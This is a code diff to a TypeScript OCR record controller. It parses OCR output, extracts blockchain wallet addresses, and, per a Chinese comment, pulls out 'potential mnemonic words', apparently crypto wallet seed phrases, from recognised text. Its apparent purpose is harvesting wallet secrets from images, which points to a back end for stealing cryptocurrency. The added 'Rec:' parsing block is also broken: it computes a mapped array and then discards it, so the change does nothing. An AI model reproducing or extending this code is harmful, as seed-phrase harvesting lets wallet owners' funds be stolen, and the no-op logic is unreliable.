|
|
@@ -28,7 +28,7 @@ export default class OcrRecordController {
|
|
|
})
|
|
|
})
|
|
|
const data = request.all()
|
|
|
- data.content = '-'
|
|
|
+ data.content = await this.recordParsing(data.record)
|
|
|
data.detail = await BlockchainWalletService.getAllAddresses(data.content)
|
|
|
|
|
|
return await OcrRecord.create(data)
|
|
|
@@ -56,7 +56,6 @@ export default class OcrRecordController {
|
|
|
if (record) {
|
|
|
const walletAddresses = await BlockchainWalletService.getAllAddresses(record.content)
|
|
|
record.detail = JSON.stringify(walletAddresses)
|
|
|
- record.content = await this.recordParsing(record.content)
|
|
|
await record.save()
|
|
|
return response.ok(record)
|
|
|
} else {
|
|
|
@@ -77,6 +76,29 @@ export default class OcrRecordController {
|
|
|
// 解析记录字符串
|
|
|
const lines = record.split('\n')
|
|
|
|
|
|
+ if (record.includes('Rec:') && record.includes('Det:')) {
|
|
|
+ // 提取所有Rec:后面的文本
|
|
|
+ lines
|
|
|
+ .filter((line) => line.includes('Rec:'))
|
|
|
+ .map((line) => {
|
|
|
+ const parts = line.split('Rec:')
|
|
|
+ if (parts.length < 2) return ''
|
|
|
+
|
|
|
+ // 获取Rec:之后、Cls:之前的部分
|
|
|
+ const afterRec = parts[1]
|
|
|
+ const beforeCls = afterRec.split('Cls:')[0]
|
|
|
+
|
|
|
+ // 找到最后一个逗号的位置
|
|
|
+ const lastCommaIndex = beforeCls.lastIndexOf(',')
|
|
|
+
|
|
|
+ // 如果找到逗号,提取逗号之前的文本;否则使用整个文本
|
|
|
+ return lastCommaIndex !== -1
|
|
|
+ ? beforeCls.substring(0, lastCommaIndex).trim()
|
|
|
+ : beforeCls.trim()
|
|
|
+ })
|
|
|
+ .filter((text) => text.length > 0)
|
|
|
+ }
|
|
|
+
|
|
|
// 从文本中提取潜在的助记词
|
|
|
const potentialWords = new Set<string>()
|
|
|
const englishWordRegex = /[a-zA-Z]+/g
|